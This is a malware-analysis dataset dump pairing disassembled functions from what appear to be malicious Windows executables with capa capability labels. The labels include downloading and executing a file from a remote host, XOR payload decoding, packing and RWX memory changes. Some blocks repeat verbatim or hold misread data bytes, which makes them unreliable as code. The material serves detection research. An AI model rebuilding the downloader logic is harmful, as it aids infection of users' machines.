joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40170f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0x30c
lea edx, [ebp - 4]
push edx
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExA]
cmp eax, 0
je 0x40173c
xor eax, eax
jmp 0x401761
lea ebx, [ebp - 8]
push ebx
push dword [ebp + 0x14]
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.DLL_RegQueryValueExA]
cmp eax, 0
je 0x40175c
xor eax, eax
jmp 0x401761
mov eax, 1
leave
ret 0x10

Function at 0x4018f1
Capabilities:
Get common file path

Disassembly:
call 0x401904
push ebx
outsd dx, dword [esi]
je 0x401972
popal
jb 0x401963
pop esp
inc ecx
jb 0x401967
jae 0x401904
push 0x80000001
call fcn.0040170f
cmp eax, 0
jne 0x4019b3
lea edx, [ebp - 0x30c]
push edx
call 0x401938
inc edi
outsb dx, byte gs:[esi]
jb 0x40198a
insb byte es:[edi], dx
je 0x401992
insd dword es:[edi], dx
jo 0x401978
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401996
add al, ch
push cs
add byte [eax], al
add byte [ebx + 0x6f], dl
je 0x4019b9
popal
jb 0x4019aa
pop esp
inc ecx
jb 0x4019ae
jae 0x40194b
push 0x80000001
call fcn.0040170f
cmp eax, 0
jne 0x401961
jmp 0x401a60
push 0
push 0x1c
lea edx, [ebp - 0x30c]
push edx
push 0
call dword [sym.imp.SHELL32.DLL_SHGetSpecialFolderPathA]
call 0x401990
pop esp
inc ecx
jb 0x4019e2
hlt
inc eax
add al, ch
pop ss
add byte [eax], al
add byte [ecx + eax*2 + 0x72], bl
jae 0x4019db
jae 0x4019db
dec ebp
jns 0x4019a2
push ebx
push 0x64657261
and byte [esi + 0x6f], al
outsd dx, dword [esi]
insb byte es:[edi], dx
jb 0x401990
lea edx, [ebp - 0x30c]
hlt
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [ebp - 0x30c]
push edx
lea edx, [ebp - 0x208]
call dword [edx - 0x73]
xchg ebp, eax
clc
std
invalid
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor dword [eax], eax
jmp 0x4019e5
push 0x104
lea edx, [ebp - 0x208]
push edx
call fcn.00401adc
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea edx, [ebp - 0x208]
push edx
push eax
lea edx, [ebp - 0x30c]
push edx
call fcn.00401a68
xchg ebp, eax
clc
std
invalid
hlt
add byte [eax], al
add byte [ebp - 0x2076b], cl
call dword [edx - 1]
adc eax, sym.imp.KERNEL32.DLL_lstrlenA
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebp - 0x208]
mov byte [ebx + eax], 0x5c
mov ebx, 0x104
sub ebx, eax
lea edx, [ebp - 0x208]
inc eax
add eax, edx
push ebx
push eax
call fcn.00401adc
push dword [ebp + 8]
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
push 0x104
lea edx, [ebp - 0x104]
push edx
call fcn.00401adc
push eax
lea edx, [ebp - 0x104]
push edx
call fcn.00401af6
lea edx, [ebp - 0x208]
push edx
lea edx, [ebp - 0x104]
push edx
call fcn.00401b1b
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]
Function at 0x401904
Capabilities:
Get common file path

Disassembly:
call 0x401904
push ebx
outsd dx, dword [esi]
je 0x401972
popal
jb 0x401963
pop esp
inc ecx
jb 0x401967
jae 0x401904
push 0x80000001
call fcn.0040170f
cmp eax, 0
jne 0x4019b3
lea edx, [ebp - 0x30c]
push edx
call 0x401938
inc edi
outsb dx, byte gs:[esi]
jb 0x40198a
insb byte es:[edi], dx
je 0x401992
insd dword es:[edi], dx
jo 0x401978
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401996
add al, ch
push cs
add byte [eax], al
add byte [ebx + 0x6f], dl
je 0x4019b9
popal
jb 0x4019aa
pop esp
inc ecx
jb 0x4019ae
jae 0x40194b
push 0x80000001
call fcn.0040170f
cmp eax, 0
jne 0x401961
jmp 0x401a60
push 0
push 0x1c
lea edx, [ebp - 0x30c]
push edx
push 0
call dword [sym.imp.SHELL32.DLL_SHGetSpecialFolderPathA]
call 0x401990
pop esp
inc ecx
jb 0x4019e2
hlt
inc eax
add al, ch
pop ss
add byte [eax], al
add byte [ecx + eax*2 + 0x72], bl
jae 0x4019db
jae 0x4019db
dec ebp
jns 0x4019a2
push ebx
push 0x64657261
and byte [esi + 0x6f], al
outsd dx, dword [esi]
insb byte es:[edi], dx
jb 0x401990
lea edx, [ebp - 0x30c]
hlt
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [ebp - 0x30c]
push edx
lea edx, [ebp - 0x208]
call dword [edx - 0x73]
xchg ebp, eax
clc
std
invalid
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor dword [eax], eax
jmp 0x4019e5
push 0x104
lea edx, [ebp - 0x208]
push edx
call fcn.00401adc
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea edx, [ebp - 0x208]
push edx
push eax
lea edx, [ebp - 0x30c]
push edx
call fcn.00401a68
xchg ebp, eax
clc
std
invalid
hlt
add byte [eax], al
add byte [ebp - 0x2076b], cl
call dword [edx - 1]
adc eax, sym.imp.KERNEL32.DLL_lstrlenA
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebp - 0x208]
mov byte [ebx + eax], 0x5c
mov ebx, 0x104
sub ebx, eax
lea edx, [ebp - 0x208]
inc eax
add eax, edx
push ebx
push eax
call fcn.00401adc
push dword [ebp + 8]
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
push 0x104
lea edx, [ebp - 0x104]
push edx
call fcn.00401adc
push eax
lea edx, [ebp - 0x104]
push edx
call fcn.00401af6
lea edx, [ebp - 0x208]
push edx
lea edx, [ebp - 0x104]
push edx
call fcn.00401b1b
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]
Function at 0x401938
Capabilities:
Get common file path

Disassembly:
call 0x401904
push ebx
outsd dx, dword [esi]
je 0x401972
popal
jb 0x401963
pop esp
inc ecx
jb 0x401967
jae 0x401904
push 0x80000001
call fcn.0040170f
cmp eax, 0
jne 0x4019b3
lea edx, [ebp - 0x30c]
push edx
call 0x401938
inc edi
outsb dx, byte gs:[esi]
jb 0x40198a
insb byte es:[edi], dx
je 0x401992
insd dword es:[edi], dx
jo 0x401978
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401996
add al, ch
push cs
add byte [eax], al
add byte [ebx + 0x6f], dl
je 0x4019b9
popal
jb 0x4019aa
pop esp
inc ecx
jb 0x4019ae
jae 0x40194b
push 0x80000001
call fcn.0040170f
cmp eax, 0
jne 0x401961
jmp 0x401a60
push 0
push 0x1c
lea edx, [ebp - 0x30c]
push edx
push 0
call dword [sym.imp.SHELL32.DLL_SHGetSpecialFolderPathA]
call 0x401990
pop esp
inc ecx
jb 0x4019e2
hlt
inc eax
add al, ch
pop ss
add byte [eax], al
add byte [ecx + eax*2 + 0x72], bl
jae 0x4019db
jae 0x4019db
dec ebp
jns 0x4019a2
push ebx
push 0x64657261
and byte [esi + 0x6f], al
outsd dx, dword [esi]
insb byte es:[edi], dx
jb 0x401990
lea edx, [ebp - 0x30c]
hlt
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [ebp - 0x30c]
push edx
lea edx, [ebp - 0x208]
call dword [edx - 0x73]
xchg ebp, eax
clc
std
invalid
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor dword [eax], eax
jmp 0x4019e5
push 0x104
lea edx, [ebp - 0x208]
push edx
call fcn.00401adc
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea edx, [ebp - 0x208]
push edx
push eax
lea edx, [ebp - 0x30c]
push edx
call fcn.00401a68
xchg ebp, eax
clc
std
invalid
hlt
add byte [eax], al
add byte [ebp - 0x2076b], cl
call dword [edx - 1]
adc eax, sym.imp.KERNEL32.DLL_lstrlenA
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebp - 0x208]
mov byte [ebx + eax], 0x5c
mov ebx, 0x104
sub ebx, eax
lea edx, [ebp - 0x208]
inc eax
add eax, edx
push ebx
push eax
call fcn.00401adc
push dword [ebp + 8]
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
push 0x104
lea edx, [ebp - 0x104]
push edx
call fcn.00401adc
push eax
lea edx, [ebp - 0x104]
push edx
call fcn.00401af6
lea edx, [ebp - 0x208]
push edx
lea edx, [ebp - 0x104]
push edx
call fcn.00401b1b
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]
Function at 0x40194b
Capabilities:
Get common file path

Disassembly:
call 0x401904
push ebx
outsd dx, dword [esi]
je 0x401972
popal
jb 0x401963
pop esp
inc ecx
jb 0x401967
jae 0x401904
push 0x80000001
call fcn.0040170f
cmp eax, 0
jne 0x4019b3
lea edx, [ebp - 0x30c]
push edx
call 0x401938
inc edi
outsb dx, byte gs:[esi]
jb 0x40198a
insb byte es:[edi], dx
je 0x401992
insd dword es:[edi], dx
jo 0x401978
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401996
add al, ch
push cs
add byte [eax], al
add byte [ebx + 0x6f], dl
je 0x4019b9
popal
jb 0x4019aa
pop esp
inc ecx
jb 0x4019ae
jae 0x40194b
push 0x80000001
call fcn.0040170f
cmp eax, 0
jne 0x401961
jmp 0x401a60
push 0
push 0x1c
lea edx, [ebp - 0x30c]
push edx
push 0
call dword [sym.imp.SHELL32.DLL_SHGetSpecialFolderPathA]
call 0x401990
pop esp
inc ecx
jb 0x4019e2
hlt
inc eax
add al, ch
pop ss
add byte [eax], al
add byte [ecx + eax*2 + 0x72], bl
jae 0x4019db
jae 0x4019db
dec ebp
jns 0x4019a2
push ebx
push 0x64657261
and byte [esi + 0x6f], al
outsd dx, dword [esi]
insb byte es:[edi], dx
jb 0x401990
lea edx, [ebp - 0x30c]
hlt
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [ebp - 0x30c]
push edx
lea edx, [ebp - 0x208]
call dword [edx - 0x73]
xchg ebp, eax
clc
std
invalid
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor dword [eax], eax
jmp 0x4019e5
push 0x104
lea edx, [ebp - 0x208]
push edx
call fcn.00401adc
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea edx, [ebp - 0x208]
push edx
push eax
lea edx, [ebp - 0x30c]
push edx
call fcn.00401a68
xchg ebp, eax
clc
std
invalid
hlt
add byte [eax], al
add byte [ebp - 0x2076b], cl
call dword [edx - 1]
adc eax, sym.imp.KERNEL32.DLL_lstrlenA
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebp - 0x208]
mov byte [ebx + eax], 0x5c
mov ebx, 0x104
sub ebx, eax
lea edx, [ebp - 0x208]
inc eax
add eax, edx
push ebx
push eax
call fcn.00401adc
push dword [ebp + 8]
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
push 0x104
lea edx, [ebp - 0x104]
push edx
call fcn.00401adc
push eax
lea edx, [ebp - 0x104]
push edx
call fcn.00401af6
lea edx, [ebp - 0x208]
push edx
lea edx, [ebp - 0x104]
push edx
call fcn.00401b1b
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]

Function at 0x401b1b
Capabilities:
Copy file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
cmp eax, 0
je 0x401b7c
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea edx, [ebp - 4]
push edx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
leave
ret 8
Function at 0x401b80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Download and write a file
Get common file path
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8f4
lea edx, [ebp - 0x7e8]
push edx
push 0xc8
call dword [sym.imp.WSOCK32.DLL_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WSOCK32.DLL_socket]
mov dword [ebp - 0x658], eax
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.DLL_gethostbyname]
cmp eax, 0
je 0x401bad
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x650], eax
push 0x50
call fcn.004018a2
mov word [ebp - 0x654], 2
mov word [ebp - 0x652], ax
push 0x10
lea edx, [ebp - 0x654]
push edx
push dword [ebp - 0x658]
call dword [sym.imp.WSOCK32.DLL_connect]
cmp eax, 0xffffffff
je 0x401be7
push dword [ebp + 0xc]
call fcn.00401da7
mov esi, eax
lea edx, [ebp - 0x8f0]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea edx, [ebp - 0x8f0]
push edx
call fcn.00401886
lea edi, [ebp - 0x8f0]
add edi, eax
mov byte [edi], 0x5c
inc edi
rdtsc
push esi
push eax
call fcn.00401c44
and eax, 0x73252e78
add byte [edi - 1], dl
push edi
call dword [sym.imp.USER32.DLL_wsprintfA]

Function at 0x401c44
Capabilities:
Create process on windows
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
push edi
call dword [sym.imp.USER32.DLL_wsprintfA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x8f0]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
je 0x401d44
mov dword [ebp - 0x7ec], eax
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0
push 0x40209e
lea edx, [ebp - 0x644]
push edx
call dword [sym.imp.USER32.DLL_wsprintfA]
push 0
lea edx, [ebp - 0x644]
push edx
call fcn.00401886
push eax
lea edx, [ebp - 0x644]
push edx
push dword [ebp - 0x658]
call dword [sym.imp.WSOCK32.DLL_send]
push 0
push 0x1f4
lea edx, [ebp - 0x324]
push edx
push dword [ebp - 0x658]
call dword [sym.imp.WSOCK32.DLL_recv]
mov ebx, eax
mov dword [ebp - 0x8f4], eax
lea esi, [ebp - 0x324]
mov di, word [0x40213b]
cmp dword [esi], 0x50545448
jne 0x401cfc
inc esi
dec ebx
cmp word [esi], di
jne 0x401ce9
cmp word [esi + 2], di
jne 0x401ce9
sub ebx, 4
add esi, 4
push 0
lea edx, [ebp - 4]
push edx
push ebx
push esi
push dword [ebp - 0x7ec]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp - 0x8f4], 0
jne 0x401cb2
push dword [ebp - 0x7ec]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
push 0
push 0
lea edx, [ebp - 0x8f0]
push edx
call 0x401d3c
dec edi
jo 0x401d9f
outsb dx, byte [esi]
add byte [edx], ch
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
leave
ret 8
push 0xc9004031
Function at 0x401d3c
Capabilities:
Create process on windows

Disassembly:
push edi
call dword [sym.imp.USER32.DLL_wsprintfA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x8f0]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
je 0x401d44
mov dword [ebp - 0x7ec], eax
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0
push 0x40209e
lea edx, [ebp - 0x644]
push edx
call dword [sym.imp.USER32.DLL_wsprintfA]
push 0
lea edx, [ebp - 0x644]
push edx
call fcn.00401886
push eax
lea edx, [ebp - 0x644]
push edx
push dword [ebp - 0x658]
call dword [sym.imp.WSOCK32.DLL_send]
push 0
push 0x1f4
lea edx, [ebp - 0x324]
push edx
push dword [ebp - 0x658]
call dword [sym.imp.WSOCK32.DLL_recv]
mov ebx, eax
mov dword [ebp - 0x8f4], eax
lea esi, [ebp - 0x324]
mov di, word [0x40213b]
cmp dword [esi], 0x50545448
jne 0x401cfc
inc esi
dec ebx
cmp word [esi], di
jne 0x401ce9
cmp word [esi + 2], di
jne 0x401ce9
sub ebx, 4
add esi, 4
push 0
lea edx, [ebp - 4]
push edx
push ebx
push esi
push dword [ebp - 0x7ec]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp - 0x8f4], 0
jne 0x401cb2
push dword [ebp - 0x7ec]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
push 0
push 0
lea edx, [ebp - 0x8f0]
push edx
call 0x401d3c
dec edi
jo 0x401d9f
outsb dx, byte [esi]
add byte [edx], ch
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
leave
ret 8
push 0xc9004031
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x414fb0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x41515a
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
sub byte [esi + ebx], 0x66
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x54
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x6a
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x44
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xa4
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x55
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x2e
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x37
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x50
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xd1
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xb6
add esp, 0x40
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x3f
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xa8
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xb7
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 3
add esp, 0x30
inc esi
cmp esi, edi
jb 0x414fd0
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x453329
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45333a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405920
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c7e2
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c7f3
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c6c9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fe9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c81b
push ebx
push esi
push edi
call fcn.00405713
add esp, 0xc
push 0
call fcn.00406262
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x4a143c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4a1511
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4a152c
push ebx
push 0x4a153c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004087a4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00405864
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004084c8
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4a14bc
mov al, 0x72
call fcn.004a1064
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle
call fcn.004a1410
push 0x4ff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x4a14c5
call fcn.004a1410
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a1518
lea eax, [ebp - 4]
call fcn.004079f4
ret

Function at 0x4a162c
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4a16f7
jmp 0x4a16eb
cmp dword [esi + 0x10], 0x1000
jne 0x4a16d7
test byte [esi + 0x15], 1
jne 0x4a16d7
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4a1688
cmp ebp, 2
je 0x4a1688
cmp ebp, 0x10
je 0x4a1688
cmp ebp, 0x20
jne 0x4a16a4
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4a16a4
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4a16b5
mov eax, dword [esi]
add eax, ebx
call fcn.004a1624
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4a16a8
cmp byte [esp + 4], 0
je 0x4a16d7
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4a16f7
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4a165d
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x43d0ad
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43ce2e
pop edi
call fcn.0043d0df
sub edx, 0x67fdb0f0
xor dword [esi], edi
add eax, eax
add esi, 1
add eax, eax
cmp esi, ecx
jne fcn.0043d0ad
mov eax, 0x804c2278
add eax, 0x678532d9
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x404990
Capabilities:
Create process memory minidump

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x45b328
push 0x427cb0
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x46706c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x12c], esi
test edi, edi
jne 0x404a15
mov dword [ebp - 4], edx
push edx
push edx
push edx
push 0x80000003
call dword [sym.imp.KERNEL32.dll_RaiseException]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], edi
mov dword [ebp - 0x120], 0
push 0
push 0
lea eax, [ebp - 0x128]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
mov edi, eax
xor esi, esi
test edi, edi
jne 0x404a63
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push str.p2pnetwork.ini
push ecx
mov edx, str.pop_errorbox
mov ecx, str.Debug
call fcn.004047e0
test eax, eax
je 0x404abe
test edi, edi
je 0x404a8e
push reloc.advapi32.dll_CryptAcquireContextA
push 0x454468
push 0x454470
jmp 0x404ab6
push esi
push 0x4544b0
push 0x100
lea eax, [ebp - 0x11c]
push eax
call fcn.00402f60
add esp, 0x10
push reloc.advapi32.dll_CryptAcquireContextA
push 0x454468
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0042318e
mov esp, ebp
pop ebp
ret